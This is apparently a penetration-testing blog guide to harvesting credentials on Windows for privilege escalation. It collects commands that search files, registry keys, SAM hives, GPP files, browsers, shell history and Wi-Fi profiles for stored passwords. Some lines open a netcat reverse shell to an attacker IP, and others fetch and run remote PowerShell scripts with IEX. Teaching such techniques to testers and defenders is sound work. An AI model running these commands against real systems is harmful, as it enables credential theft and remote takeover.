STEFLAN

GUIDES, PRIVILEGE ESCALATION, WINDOWS

Windows Privilege Escalation – Credentials Harvesting

January 27, 2021 | by Stefano Lanaro | Leave a comment

Introduction

Windows systems and applications often store clear text, encoded or hashed credentials in files, registry keys or in memory.

When gaining initial access to a Windows machine and performing privilege escalation enumeration steps, often passwords can be found through these means and they can be used to further escalate privileges.

There are various methods to harvest credentials in a Windows system in order to escalate privileges, the following ones are the most common and they are always worth a try.

Finding passwords in files

One of the first things to do is to search for files containing the "password" string as this could help in identifying hidden credentials:

- findstr /si password *.xml *.ini *.txt *.config 2>nul
- cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
- findstr /spin "password" *.*
- Check .config or other interesting file types for those strings
- dir /s *pass* == *cred* == *vnc* == *.config*
- dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
- where /R C:\ user.txt
- where /R C:\ *.ini

You can also use other common keywords such as passwd, secret etc.

Unattended Installation

Older versions of windows, when performing unattended installations, used text files to store answers to questions that come up during the installation process, some of which contained clear text credentials:

- c:\sysprep.inf
- c:\sysprep\sysprep.xml
- c:\unattend.xml
- %WINDIR%\Panther\Unattend\Unattended.xml
- %WINDIR%\Panther\Unattended.xml
- dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Additionally, the Windows.old directory may contain sensitive files, such as registry hives, that could be storing passwords

VNC Credentials

VNC is a graphical desktop-sharing system that uses the Remote Frame Buffer protocol to remotely control another computer. This protocol often stored clear-text user credentials in text files:

- dir c:\*vnc.ini /s /b
- dir c:\*ultravnc.ini /s /b
- dir c:\ /s /b | findstr /si *vnc.ini

Credentials Stored in the Registry

The Windows registry often stores clear-text or encoded passwords used by various applications. Below are a few examples:

- reg query “HKLM\SYSTEM\Current\ControlSet\Services\SNMP”
- reg query “HKCU\Software\ORL\WinVNC3\Password”
- reg query “HKCU\Software\TightVNC\Server”
- reg query “HKCU\Software\OpenSSH\Agent\Key”
- reg query “HKCU\Software\SimonTatham\PuTTY\Sessions”
- reg query “HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon”
- reg query HKLM /f password /t REG_SZ /s
- reg query HKCU /f password /t REG_SZ /s

Check for SAM and SYSTEM files access

The Security Account Manager application is used to securely store users’ encrypted passwords using encryption. They are stored in a registry hive as a LM or NTLM hash. They can be stored in the following keys:

- %SYSTEMROOT%\repair\SAM
- %SYSTEMROOT%\System32\config\RegBack\SAM
- %SYSTEMROOT%\System32\config\SAM
- %SYSTEMROOT%\repair\system
- %SYSTEMROOT%\System32\config\SYSTEM
- %SYSTEMROOT%\System32\config\RegBack\system

Common Web Configuration Files

Web applications might store clear-text or encoded credentials in text files. The Inetpub folder is the default folder for Microsoft IIS and if present, it is likely to contain confidentials information. Some example commands are:

- dir /a C:\inetpub\
- dir /s web.config
- C:\Windows\System32\inetsrv\config\applicationHost.config
- Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
- dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf

Web Logs

Apache, Tomcat and IIS have logs that are used to store user access to a web application and any errors that may have occurred in the web application.

These are usually store in these locations:

- dir /s access.log error.log
- C:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log
- C:\inetpub\logs\LogFiles\W3SVC2\u_ex[YYMMDD].log
- C:\inetpub\logs\LogFiles\FTPSVC1\u_ex[YYMMDD].log
- C:\inetpub\logs\LogFiles\FTPSVC2\u_ex[YYMMDD].log

Cached & Saved Credentials

Windows often uses applications such as the Windows Vault to store login credentials for servers and sites.

Cmdkey is a command used to create/list/delete stored user names, passwords or credentials. The below can be used to list saved credentials:

- cmdkey /list

Once verifying that credentials are stored in the system, the runas command can be used with the /savecred flag to execute commands as another user using the saved credentials:

- runas /savecred /user:WORKGROUP\Administrator "\\10.10.10.10\SHARE\evil.exe"

runas can also be used by providing user credentials:

• C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

or

• $ secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
• $ mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
• $ computer = "<hostname>" [System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)

Windows Credential Store

The Windows Credential Store is a feature of Windows that saves usernames, passwords, and certificates for systems, websites, and servers. information is stored.

The Credential Manager stores two types of credentials: Web and Windows. There are two PowerShell scripts that can help harvest this data:Gathering

Web Credentials:

- https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1

Windows Credentials

- https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1

Group Policy Preferences (GPP Passwords)

If the box is part of a domain and the current user user has access to read System Volume Information, this can help find passwords stored in files.

Start by checking the environment variables for the IP-address of the domain controller. Output environment-variables with the following:

- LOGONSERVER=\\NAMEOFSERVER
- USERDNSDOMAIN=WHATEVER.LOCAL

Then look up the IP-address

- nslookup nameofserver.whatever.local

Mount the volume and search for the groups.xml file

- net use z: \\192.168.1.101\SYSVOL
- z:
- dir Groups.xml /s

Otherwise, these can be found in *C:\ProgramData\Microsoft\Group Policy\history* or in *C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history*, by looking for:

- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml

The next step is decrypt the passowrds using the gpp-decrypt tool.
You can also do this with PowerView and the Get-GPPPpassword script.

Using Powershell to load them into memory:

- IEX(New-Object Net.WebClient).DownloadString("http://10.0.0.100/Get-GPPPassword.ps1")
- IEX(New-Object Net.WebClient).DownloadString("http://10.0.0.100/powerview.ps1")

Then run the Get-GPPPassword tool and feed any listed passwords to PowerView. This will check any found credentials against other machines.

- Get-NetOU -GUID "{4C86DD57-4040-41CD-B163-58F208A26623}" | %{ Get-NetComputer -ADSPath $_ }

Visit https://www.toshellandback.com/2015/08/30/gpp/ for more info.

Services and Applications Storing Credentials

Applications that are used to access systems or services remotely such as Remmina/PuTTY, RDP, Filezilla etc often store passwords in memory or in files. These can be retrieved using SessionGopher:

- https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1
- Import-Module path\to\SessionGopher.ps1;
- Invoke-SessionGopher -AllDomain -o
- Invoke-SessionGopher -AllDomain -u domain.com\stef -p password

Lazagne can also be used to exctract credentials from many applications.

Credentials Stored in Browsers

Browsers such as Google Chrome, Firefox, Microsoft Edge etc. can often store passwords when authentication to a website is performed. Lazagne is an open source application used to retrieve passwords stored on a local computer, and one of its many functions is to retrieve passwords stored in internet browsers.

Command	Description
laZagne.exe all	Launch all modules
laZagne.exe browsers	Launch only a specific module
laZagne.exe browsers -firefox	Launch a specific software script
laZagne.exe -h laZagne.exe browsers -h	Get help
laZagne.exe all -vv	Change verbosity mode (2 different levels)

Additionally, the following Metasploit modules can also be used:

- use post/window/gather/enum_chrome
- use post/window/gather/enum_firefox
- use post/window/gather/enum_ie

Saved RDP Connections

RDP has the ability to save connection information (such as passwords) in the registry. They can be found at the following registry keys:

- HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\
- HKCU\Software\Microsoft\Terminal Server Client\Servers\

Powershell Command History

Commands executed using powershell are stored in a history file (similar to the .bash_history file in linux), if clear-text credentials were entered when issuing a command, this could be exploited by accessing the history file:

- type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
- type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
- cat (Get-PSReadlineOption).HistorySavePath
- cat (Get-PSReadlineOption).HistorySavePath | sls passw

Wi-Fi Credentials

Command	Description
netsh wlan show profile	List available AP SSID
netsh wlan show profile <SSID> key=clear	Get the clear-text password use
cls & echo. & for /f “tokens=4 delims=: ” %a in (‘netsh wlan show profiles ^| find “Profile “‘) do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr “SSID Cipher Content” | find /v “Number” & echo.) & @echo on	Oneliner method to extract wifi passwords from all the access point.

Additional Metasploit Modules

There are certain Metasploit modules that aim at to find clear-text or encoded credentials in a target system:

- use post/windows/gather/credentials/gpp
- use post/windows/gather/credential_collector
- use post/window/gather/enum_chrome
- use post/window/gather/enum_firefox
- use post/window/gather/enum_ie
- use post/multi/gather/filezilla_client_cred
- use post/multi/gather/firefox_creds
- use post/multi/gather/irssi_creds
- use post/multi/gather/lastpass_creds
- use post/multi/gather/maven_creds
- use post/multi/gather/netrc_creds
- use post/multi/gather/pidgin_cred
- use post/multi/gather/rsyncd_creds
- use post/multi/gather/ssh_creds
- use post/multi/gather/thunderbird_creds

Conclusion

Exposed passwords are a very common method of intrusion and privilege escalation, and although it's not as common nowadays since most applications use encryption, it's something that should not be overlooked.

Automated enumeration scripts will also perform credential harvesting although it's always best to do this manually.

credentials guide Hacking password Penetration Testing Pentesting powershell Privilege Escalation Windows

Share

< PREVIOUS POST NEXT POST >

You may also like

Certified Red Team Expert (CRTE) Review

April 16, 2024

TryHackMe – Nax Walkthrough

April 8, 2024

Certified Azure Red Team Professional
CERTIFIED Az RED TEAM PROFESSIONAL
Review

Certified Azure Red Team Professional (CARTP) Review

December 23, 2023

Leave a Reply

Your email address will not be published. Required fields are marked *

Name

Email

Website

☐ **Save my name, email, and website in this browser for the next time I comment.**

☐ I'm not a robot

reCAPTCHA
Privacy - Terms

POST COMMENT

Home About

Powered by Piemont - Premium Wordpress Theme